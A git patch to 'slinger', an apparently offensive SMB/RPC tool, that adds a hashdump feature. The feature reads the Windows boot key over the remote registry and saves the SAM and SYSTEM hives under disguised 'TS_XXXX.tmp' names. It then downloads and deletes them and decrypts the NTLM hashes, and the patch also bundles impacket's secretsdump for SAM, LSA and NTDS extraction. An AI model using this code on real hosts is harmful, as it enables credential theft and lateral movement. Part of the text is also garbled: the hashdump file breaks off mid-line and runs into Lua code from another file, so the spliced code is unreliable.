From 68fc8404ee5734f71f3386b3ff4413640d966730 Mon Sep 17 00:00:00 2001 From: ghost-ng Date: Thu, 11 Jan 2024 22:24:12 -0500 Subject: [PATCH] implement hashdump, removed unused imports --- README.md | 17 +- TODO..md | 19 + TODO.txt | 0 src/slinger.py | 1 + src/slingerpkg/__init__.py | 2 +- src/slingerpkg/lib/dcetransport.py | 81 ++++- src/slingerpkg/lib/hashdump.py | 304 ++++++++++++++++ src/slingerpkg/lib/msrpcperformance.py | 99 +++++ src/slingerpkg/lib/secrets.py | 104 ++++++ src/slingerpkg/lib/secretsdump.py | 483 +++++++++++++++++++++++++ src/slingerpkg/lib/slingerclient.py | 4 +- src/slingerpkg/lib/smblib.py | 2 + src/slingerpkg/lib/winreg.py | 23 +- src/slingerpkg/utils/cli.py | 8 + src/slingerpkg/utils/common.py | 2 +- 15 files changed, 1125 insertions(+), 24 deletions(-) create mode 100755 TODO..md delete mode 100755 TODO.txt create mode 100644 src/slingerpkg/lib/hashdump.py create mode 100644 src/slingerpkg/lib/msrpcperformance.py create mode 100644 src/slingerpkg/lib/secrets.py create mode 100644 src/slingerpkg/lib/secretsdump.py diff --git a/README.md b/README.md index aad9ccb..9d28cd4 100644 --- a/README.md +++ b/README.md @@ -180,22 +180,7 @@ export PATH=~/.local/bin:$PATH #if not already done ## TODO -### File System -- recursive ls - -### Task Scheduler -- all in one (create, execute, delete) -- add task run modifiers (run every X min/hour) - -### Registry -- uptime -- process enumeration (inspired by nmap ns script) - -### Service Control -- sc modify - -### Test -- test on a domain +- see TODO.md ## Contributing diff --git a/TODO..md b/TODO..md new file mode 100755 index 0000000..4f9e347 --- /dev/null +++ b/TODO..md @@ -0,0 +1,19 @@ +### File System +- recursive ls +- ls a single file +- rm with wildcard + +### Task Scheduler +- all in one (create, execute, delete) +- add task run modifiers (run every X min/hour) +- load task xml + +### Registry +- uptime +- process enumeration (inspired by nmap nse script) + +### Service Control +- sc modify + +### Test +- test on a domain \ No newline at end of file diff --git a/TODO.txt b/TODO.txt deleted file mode 100755 index e69de29..0000000 diff --git a/src/slinger.py b/src/slinger.py index f06f5e8..9f38ca7 100755 --- a/src/slinger.py +++ b/src/slinger.py @@ -141,6 +141,7 @@ def main(): except SystemExit: continue except Exception as e: + print_warning(f"Uncaught Error: {e}") print_debug(str(e), sys.exc_info()) continue diff --git a/src/slingerpkg/__init__.py b/src/slingerpkg/__init__.py index 1738eb0..75cf27e 100755 --- a/src/slingerpkg/__init__.py +++ b/src/slingerpkg/__init__.py @@ -1,2 +1,2 @@ -__version__ = '0.3.0' +__version__ = '0.4.0' __package__ = 'slinger' \ No newline at end of file diff --git a/src/slingerpkg/lib/dcetransport.py b/src/slingerpkg/lib/dcetransport.py index a4f252a..ec1c791 100755 --- a/src/slingerpkg/lib/dcetransport.py +++ b/src/slingerpkg/lib/dcetransport.py @@ -1,8 +1,9 @@ +import string from impacket.dcerpc.v5 import transport, rrp, srvs, wkst, tsch, scmr, rpcrt from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY from impacket.dcerpc.v5.tsch import TASK_FLAG_HIDDEN -import os, traceback +import os from slingerpkg.utils.printlib import * from slingerpkg.utils.common import * from impacket.structure import hexdump @@ -10,7 +11,9 @@ from impacket.system_errors import ERROR_NO_MORE_ITEMS from impacket.dcerpc.v5.dtypes import READ_CONTROL import sys - +from slingerpkg.lib.msrpcperformance import * +from impacket.dcerpc.v5.rrp import DCERPCSessionError +from impacket import system_errors, LOG def parse_lp_data(valueType, valueData, hex_dump=True): result = "" @@ -71,6 +74,7 @@ def __init__(self, host, username, port, smb_connection): self.winregSetupComplete = False self.rrpshouldStop = False self.rrpstarted = False + self.share = None def _bind(self, bind_uuid): #retrieve plaintext from uuids @@ -399,6 +403,56 @@ def _create_service(self, service_name, bin_path, start_type, display_name=None) dwServiceType=scmr.SERVICE_WIN32_OWN_PROCESS, dwErrorControl=scmr.SERVICE_ERROR_IGNORE, lpBinaryPathName=bin_path, dwStartType=start_type) return response + def _get_boot_key(self): + bootKey = b'' + self.bind_override = True + self._bind(rrp.MSRPC_UUID_RRP) + ans = rrp.hOpenLocalMachine(self.dce) + regHandle = ans['phKey'] + for key in ['JD','Skew1','GBG','Data']: + print_debug(f"Opening 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}'") + ans = rrp.hBaseRegOpenKey(self.dce, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) + keyHandle = ans['phkResult'] + ans = rrp.hBaseRegQueryInfoKey(self.dce,keyHandle) + # bootKey = bootKey + b(ans['lpClassOut'][:-1]) + bootKey = bootKey + bytes(ans['lpClassOut'][:-1], 'utf-8') + rrp.hBaseRegCloseKey(self.dce, keyHandle) + return bootKey + + def _save_hive(self, hiveName): + self.bind_override = True + self._bind(rrp.MSRPC_UUID_RRP) + #tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' + # TS_57CB.tmp pattern + tmpFileName = 'TS_' + ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(4)]) + '.tmp' + ans = rrp.hOpenLocalMachine(self.dce) + regHandle = ans['phKey'] + try: + ans = rrp.hBaseRegCreateKey(self.dce, regHandle, hiveName) + except: + raise Exception("Can't open %s hive" % hiveName) + keyHandle = ans['phkResult'] + savePath = "" + absPath = "" + if self.share.upper() == "ADMIN$": + absPath = "ADMIN$" + "\\Temp\\" + tmpFileName + savePath = "..\\Temp\\" + tmpFileName + elif self.share.upper() == "C$": + absPath = "C$" + "\\Windows\\Temp\\" + tmpFileName + savePath = "\\Windows\\Temp\\" + tmpFileName + + try: + ans = rrp.hBaseRegSaveKey(self.dce, keyHandle, savePath) + except Exception as e: + print_debug(str(e), sys.exc_info()) + if "ERROR_PATH_NOT_FOUND" in str(e): + print_bad("Unable to save hive, path not found") + return None + rrp.hBaseRegCloseKey(self.dce, keyHandle) + rrp.hBaseRegCloseKey(self.dce, regHandle) + + return tmpFileName + def _get_root_key(self, keyName): # Let's strip the root key try: @@ -596,4 +650,25 @@ def _reg_create_key(self, keyName): return True else: print_debug('Error 0x%08x while creating key %s' % (ans2['ErrorCode'], keyName)) - return False \ No newline at end of file + return False + + def _reg_query_perf_data(self): + + result = {} + if not self.is_connected: + raise Exception("Not connected to remote host") + self.bind_override = True + self._bind(rrp.MSRPC_UUID_RRP) + + # Open Performance Data + openhkpd_result = rrp.hOpenPerformanceData(self.dce, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE | rrp.KEY_READ) + #openhkpd_result.dump() + ans = rrp.hBaseRegQueryValue(self.dce, openhkpd_result['phKey'], lpValueName="Counter 009") + result['title-database'] = parse_perf_title_data(ans[1]) + counter_ID = result['title-database']['Process'] + queryvalue_result = rrp.hBaseRegQueryValue(self.dce, openhkpd_result['phKey'], lpValueName="238") + queryvalue_result.dump() + + return ans + + diff --git a/src/slingerpkg/lib/hashdump.py b/src/slingerpkg/lib/hashdump.py new file mode 100644 index 0000000..bb7f866 --- /dev/null +++ b/src/slingerpkg/lib/hashdump.py @@ -0,0 +1,304 @@ +# https://github.com/vincd/samdumpy/blob/master/samdum.py + +from struct import unpack, pack +import binascii +from collections import namedtuple +from Crypto.Hash import MD5 +from Crypto.Cipher import ARC4, DES, AES + +NK_ID = 0x6B6E +NK_ROOT = 0x2c + +NK_HDR = namedtuple('NK_HDR', 'id type t1 t2 unk1 parent_off subkey_num unk2 lf_off unk3 value_cnt value_off sk_off classname_off unk41 unk42 unk43 unk44 unk5 name_len classname_len key_name') +LF_HDR = namedtuple('LF_HDR', 'id key_num hr') +VK_HDR = namedtuple('VK_HDR', 'id name_len data_len data_off data_type flag unk1 value_name') +HASH_RECORD = namedtuple('HASH_RECORD', 'nk_offset keyname') + +class RegHive(object): + def __init__(self, path): + with open(path, 'rb') as fd: + self.__base = fd.read() + self.__base = self.__base[0x1000:] + + self.__root_key = self.regGetRootKey() + + def regGetRootKey(self): + n = self.__read_nk(0x20) + return n if n.id == NK_ID and n.type == NK_ROOT else None + + def regOpenKey(self, path): + n = self.__root_key + path_split = path.split(b'\\') + + while len(path_split) > 0: + t = path_split.pop(0) + next_off = self.__parself(t, n.lf_off) + if next_off == -1: return None + n = self.__read_nk(next_off) + + return n + + def regQueryValue(self, n, value): + for i in self.__read_valuelist(n): + v = self.__read_vk(i) + + if v.value_name == value or (v.flag & 1) == 0: + data_len = v.data_len & 0x0000FFFF + return v.data_off if data_len < 5 else self.__read_data(v.data_off, data_len) + + def regEnumKey(self, nr): + for i in range(nr.subkey_num): + lf = self.__read_lf(nr.lf_off) + hr = self.__read_hr(lf.hr, i) + nk = self.__read_nk(hr.nk_offset) + + yield nk.key_name + + def __read_nk(self, offset): + n = NK_HDR._make(unpack('hhiiiiiiiiiiiiiiiiihhs', self.__base[offset+4:offset+4+77])) + n = n._replace(key_name=self.__base[offset+4+76:offset+4+76+n.name_len]) + + return n + + def __read_lf(self, offset): + lf = LF_HDR._make(unpack('hhB', self.__base[offset+4:offset+4+5])) + lf = lf._replace(hr=offset+4+4) + + return lf + + def __read_hr(self, offset, index): + offset += 8 * index + hr = HASH_RECORD._make(unpack('i4s', self.__base[offset:offset+8])) + + return hr + + def __parself(self, t, offset): + l = self.__read_lf(offset) + + for i in range(l.key_num): + hr = self.__read_hr(l.hr, i) + n = self.__read_nk(hr.nk_offset) + if t == n.key_name: + return hr.nk_offset + + return -1 + + def __read_vk(self, offset): + vk = VK_HDR._make(unpack('hhiiihhs', self.__base[offset+4:offset+4+21])) + vk = vk._replace(value_name=self.__base[offset+4+20:offset+4+20+vk.name_len]) + return vk + + def __read_valuelist(self, n): + offset, size = n.value_off, n.value_cnt + return unpack('%si' % size, self.__base[offset + 4:offset + 4 + size*4]) + + def __read_data(self, offset, size): + return self.__base[offset+4:offset+4+size] + + def read_data(self, n): + return self.__read_data(n.classname_off, n.classname_len) + +# Permutation matrix for boot key +PERMUTATION_MATRIX = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, + 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] + +ODD_PARITY = [ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ] + +def str_to_key(s): + key = [ + ord(s[0])>>1, + ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2), + ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3), + ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4), + ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5), + ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6), + ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7), + ord(s[6])&0x7F + ] + + return bytes(map(lambda k: ODD_PARITY[k<<1], key)) + +def sid_to_key(sid): + s1 = "" + s1 += chr(sid & 0xFF) + s1 += chr((sid>>8) & 0xFF) + s1 += chr((sid>>16) & 0xFF) + s1 += chr((sid>>24) & 0xFF) + s1 += s1[0]; + s1 += s1[1]; + s1 += s1[2]; + s2 = s1[3] + s1[0] + s1[1] + s1[2] + s2 += s2[0] + s2[1] + s2[2] + + return str_to_key(s1), str_to_key(s2) + +def decrypt_single_hash(rid, hbootkey, enc_hash, apwd): + d1, d2 = map(lambda k: DES.new(k, DES.MODE_ECB), sid_to_key(rid)) + + rc4_key = MD5.new(hbootkey[:0x10] + pack('= #data + + return true, pos, result +end''') + + status, pos, result = lua_func(data, pos) + return status, pos, result diff --git a/src/slingerpkg/lib/secrets.py b/src/slingerpkg/lib/secrets.py new file mode 100644 index 0000000..5a57cbe --- /dev/null +++ b/src/slingerpkg/lib/secrets.py @@ -0,0 +1,104 @@ +from binascii import hexlify, unhexlify +from shutil import which +from slingerpkg.utils.printlib import * +from slingerpkg.lib.hashdump import * +from slingerpkg.utils.common import run_local_command + +class secrets(): + def __init__(self): + print_debug("WinReg Module Loaded!") + self._bootKey = b'' + self._samKey = b'' + + def getBootKey(self): + self._bootKey = b'' + print_debug("Getting BootKey") + bootKey = b'' + self.setup_dce_transport() + self.dce_transport._connect('winreg') + bootKey = self.dce_transport._get_boot_key() + transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] + + bootKey = unhexlify(bootKey) + + for i in range(len(bootKey)): + self._bootKey += bootKey[transforms[i]:transforms[i]+1] + + print_good('Target system bootKey: 0x%s' % hexlify(self._bootKey).decode('utf-8')) + + def saveHive(self, hiveName): + print_debug(f"Saving Hive {hiveName}") + self.setup_dce_transport() + self.dce_transport._connect('winreg') + remoteFileName = self.dce_transport._save_hive(hiveName) + if remoteFileName is None: + print_bad(f"Failed to save {hiveName} hive") + return None, None + saveName = "/tmp/" + hiveName + '.hive' + if self.share.upper() == "C$": + remotePath = f"\\Windows\\Temp\\{remoteFileName}" + self.download(remotePath, saveName) + elif self.share.upper() == "ADMIN$": + remotePath = f"\\Temp\\{remoteFileName}" + self.download(remotePath, saveName) + + return remotePath, saveName + + def secretsdump(self, args): + try: + if self.share.upper() != "C$" and self.share.upper() != "ADMIN$": + print_warning("You need to connect to C$ or ADMIN$ to dump hashes") + return + except AttributeError: + print_warning("You need to connect to C$ or ADMIN$ to dump hashes") + return + print_info("Dumping secrets...") + remotePath_SYSTEM, localPath_SYSTEM = self.saveHive('SYSTEM') + self.delete(remotePath_SYSTEM) + print_info("Saving SAM Hive") + remotePath_SAM, localPath_SAM = self.saveHive('SAM') + self.delete(remotePath_SAM) + # determine which command is avilable + bins = ['secretsdump.py', 'secretsdump', 'impacket-secretsdump', 'impacket-secretsdump.py'] + binaryName = None + for bin in bins: + if which(bin): + binaryName = which(bin) + if binaryName is None: + binaryName = "secretsdump.py" # local copy + print_info(f"Using {os.path.basename(binaryName)} to dump secrets") + run_local_command(f"{binaryName} -sam {localPath_SAM} -system {localPath_SYSTEM} LOCAL") + + + def hashdump(self, args): + hashTable = [] + share = self.share + try: + if share.upper() != "C$" and share.upper() != "ADMIN$": + print_warning("You need to connect to C$ or ADMIN$ to dump hashes") + return + except AttributeError: + print_warning("You need to connect to C$ or ADMIN$ to dump hashes") + return + + print_info("Dumping hashes...") + #self.getBootKey() + print_info("Saving SYSTEM Hive") + remotePath_SYSTEM, localPath_SYSTEM = self.saveHive('SYSTEM') + self.delete(remotePath_SYSTEM) + print_info("Saving SAM Hive") + remotePath_SAM, localPath_SAM = self.saveHive('SAM') + self.delete(remotePath_SAM) + sys_key = get_bootkey(localPath_SYSTEM) + print(f'BootKey: {sys_key.hex()}') + # Initialize registry access function + h = RegHive(localPath_SAM) + sam_key = get_hbootkey(h, sys_key) + print(f'SamKey: {sam_key.hex()}') + + # list users and hashes + hashTable = get_hashes(h, sam_key) + #print(hashTable) + # Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e119ec7919cc3b1d7ad859697cfa659::: + for user in hashTable: + print(f"{user['Username']}:{user['RID']}:{user['LMHash']}:{user['NTHash']}:::") diff --git a/src/slingerpkg/lib/secretsdump.py b/src/slingerpkg/lib/secretsdump.py new file mode 100644 index 0000000..a881a8c --- /dev/null +++ b/src/slingerpkg/lib/secretsdump.py @@ -0,0 +1,483 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright (C) 2023 Fortra. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Performs various techniques to dump hashes from the +# remote machine without executing any agent there. +# For SAM and LSA Secrets (including cached creds) +# we try to read as much as we can from the registry +# and then we save the hives in the target system +# (%SYSTEMROOT%\\Temp dir) and read the rest of the +# data from there. +# For NTDS.dit we either: +# a. Get the domain users list and get its hashes +# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() +# call, replicating just the attributes we need. +# b. Extract NTDS.dit via vssadmin executed with the +# smbexec approach. +# It's copied on the temp dir and parsed remotely. +# +# The script initiates the services required for its working +# if they are not available (e.g. Remote Registry, even if it is +# disabled). After the work is done, things are restored to the +# original state. +# +# Author: +# Alberto Solino (@agsolino) +# +# References: +# Most of the work done by these guys. I just put all +# the pieces together, plus some extra magic. +# +# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync +# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html +# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html +# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html +# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 +# - https://code.google.com/p/creddump/ +# - https://lab.mediaservice.net/code/cachedump.rb +# - https://insecurety.net/?p=768 +# - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm +# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf +# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15 +# + +from __future__ import division +from __future__ import print_function +import argparse +import codecs +import logging +import os +import sys + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.smbconnection import SMBConnection +from impacket.ldap.ldap import LDAPConnection, LDAPSessionError + +from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \ + KeyListSecrets +from impacket.krb5.keytab import Keytab +try: + input = raw_input +except NameError: + pass + +class DumpSecrets: + def __init__(self, remoteName, username='', password='', domain='', options=None): + self.__useVSSMethod = options.use_vss + self.__useKeyListMethod = options.use_keylist + self.__remoteName = remoteName + self.__remoteHost = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__aesKeyRodc = options.rodcKey + self.__smbConnection = None + self.__ldapConnection = None + self.__remoteOps = None + self.__SAMHashes = None + self.__NTDSHashes = None + self.__LSASecrets = None + self.__KeyListSecrets = None + self.__rodc = options.rodcNo + self.__systemHive = options.system + self.__bootkey = options.bootkey + self.__securityHive = options.security + self.__samHive = options.sam + self.__ntdsFile = options.ntds + self.__history = options.history + self.__noLMHash = True + self.__isRemote = True + self.__outputFileName = options.outputfile + self.__doKerberos = options.k + self.__justDC = options.just_dc + self.__justDCNTLM = options.just_dc_ntlm + self.__justUser = options.just_dc_user + self.__ldapFilter = options.ldapfilter + self.__pwdLastSet = options.pwd_last_set + self.__printUserStatus= options.user_status + self.__resumeFileName = options.resumefile + self.__canProcessSAMLSA = True + self.__kdcHost = options.dc_ip + self.__options = options + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def ldapConnect(self): + if self.__doKerberos: + self.__target = self.__remoteHost + else: + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + self.__target = self.__domain + + # Create the baseDN + if self.__domain: + domainParts = self.__domain.split('.') + else: + domain = self.__target.split('.', 1)[-1] + domainParts = domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + try: + self.__ldapConnection = LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + self.__ldapConnection = LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + else: + raise + + def dump(self): + try: + if self.__remoteName.upper() == 'LOCAL' and self.__username == '': + self.__isRemote = False + self.__useVSSMethod = True + if self.__systemHive: + localOperations = LocalOperations(self.__systemHive) + bootKey = localOperations.getBootKey() + if self.__ntdsFile is not None: + # Let's grab target's configuration about LM Hashes storage + self.__noLMHash = localOperations.checkNoLMHashPolicy() + else: + import binascii + bootKey = binascii.unhexlify(self.__bootkey) + + else: + self.__isRemote = True + bootKey = None + if self.__ldapFilter is not None: + logging.info('Querying %s for information about domain users via LDAP' % self.__domain) + try: + self.ldapConnect() + except Exception as e: + logging.error('LDAP connection failed: %s' % str(e)) + try: + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost, self.__ldapConnection) + self.__remoteOps.setExecMethod(self.__options.exec_method) + if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True: + self.__remoteOps.enableRegistry() + bootKey = self.__remoteOps.getBootKey() + # Let's check whether target system stores LM Hashes + self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() + except Exception as e: + self.__canProcessSAMLSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__doKerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') + else: + logging.error('RemoteOperations failed: %s' % str(e)) + + # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ + if self.__useKeyListMethod is True: + try: + self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) + self.__KeyListSecrets.dump() + except Exception as e: + logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e)) + else: + # If RemoteOperations succeeded, then we can extract SAM and LSA + if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: + try: + if self.__isRemote is True: + SAMFileName = self.__remoteOps.saveSAM() + else: + SAMFileName = self.__samHive + + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) + self.__SAMHashes.dump() + if self.__outputFileName is not None: + self.__SAMHashes.export(self.__outputFileName) + except Exception as e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__isRemote is True: + SECURITYFileName = self.__remoteOps.saveSECURITY() + else: + SECURITYFileName = self.__securityHive + + self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, + isRemote=self.__isRemote, history=self.__history) + self.__LSASecrets.dumpCachedHashes() + if self.__outputFileName is not None: + self.__LSASecrets.exportCached(self.__outputFileName) + self.__LSASecrets.dumpSecrets() + if self.__outputFileName is not None: + self.__LSASecrets.exportSecrets(self.__outputFileName) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__isRemote is True: + if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None: + NTDSFileName = self.__remoteOps.saveNTDS() + else: + NTDSFileName = None + else: + NTDSFileName = self.__ntdsFile + + self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, + noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, + useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, + pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + outputFileName=self.__outputFileName, justUser=self.__justUser, + ldapFilter=self.__ldapFilter, printUserStatus=self.__printUserStatus) + try: + self.__NTDSHashes.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + logging.error(e) + if (self.__justUser or self.__ldapFilter) and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: + logging.info("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + elif self.__useVSSMethod is False: + logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + if self.__NTDSHashes is not None: + if isinstance(e, KeyboardInterrupt): + while True: + answer = input("Delete resume session file? [y/N] ") + if answer.upper() == '': + answer = 'N' + break + elif answer.upper() == 'Y': + answer = 'Y' + break + elif answer.upper() == 'N': + answer = 'N' + break + if answer == 'Y': + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + try: + self.cleanup() + except: + pass + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remoteOps: + self.__remoteOps.finish() + if self.__SAMHashes: + self.__SAMHashes.finish() + if self.__LSASecrets: + self.__LSASecrets.finish() + if self.__NTDSHashes: + self.__NTDSHashes.finish() + if self.__KeyListSecrets: + self.__KeyListSecrets.finish() + + +# Process command-line arguments. +if __name__ == '__main__': + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from " + "the remote machine without executing any agent there.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' + ' (if you want to parse local files)') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-system', action='store', help='SYSTEM hive to parse') + parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') + parser.add_argument('-security', action='store', help='SECURITY hive to parse') + parser.add_argument('-sam', action='store', help='SAM hive to parse') + parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') + parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' + 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' + 'state') + parser.add_argument('-outputfile', action='store', + help='base output filename. Extensions will be added for sam, secrets, cached and ntds') + parser.add_argument('-use-vss', action='store_true', default=False, + help='Use the VSS method instead of default DRSUAPI') + parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)') + parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)') + parser.add_argument('-use-keylist', action='store_true', default=False, + help='Use the Kerb-Key-List method instead of default DRSUAPI') + parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' + 'method to use at target (only when using -use-vss). Default: smbexec') + + group = parser.add_argument_group('display options') + group.add_argument('-just-dc-user', action='store', metavar='USERNAME', + help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' + 'Implies also -just-dc switch') + group.add_argument('-ldapfilter', action='store', metavar='LDAPFILTER', + help='Extract only NTDS.DIT data for specific users based on an LDAP filter. ' + 'Only available for DRSUAPI approach. Implies also -just-dc switch') + group.add_argument('-just-dc', action='store_true', default=False, + help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') + group.add_argument('-just-dc-ntlm', action='store_true', default=False, + help='Extract only NTDS.DIT data (NTLM hashes only)') + group.add_argument('-pwd-last-set', action='store_true', default=False, + help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') + group.add_argument('-user-status', 